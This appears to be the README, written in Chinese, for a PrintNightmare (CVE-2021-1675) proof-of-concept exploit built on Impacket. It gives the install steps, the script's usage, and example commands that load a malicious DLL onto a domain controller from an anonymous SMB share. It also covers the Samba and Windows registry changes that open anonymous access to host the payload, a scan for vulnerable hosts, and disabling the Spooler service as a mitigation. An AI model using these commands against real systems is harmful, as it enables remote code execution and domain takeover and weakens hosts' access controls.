Impacket 实现的 PrintNightmare PoC,最初由 Zhiniang Peng (@edwardzpeng) 和 Xuefeng Li (@lxf02942370) 创建。
在完全修补的 2019 域控制器上测试。
远程或本地执行恶意 DLL。

Microsoft 已经发布了缓解这些攻击的补丁,但如果机器上存在以下值,则该机器仍然易受攻击。
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
在运行漏洞利用之前,你需要安装我的 Impacket 版本,之后就可以了。
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
托管 payload 的最简单方法是使用 samba 并修改 /etc/samba/smb.conf 以允许匿名访问。
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
从 Windows 上也可以实现。
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
我们可以使用 impacket 中的 rpcdump.py 扫描潜在的易受攻击主机,如果返回了一个值,则可能易受攻击。
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
禁用后台打印程序服务。
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f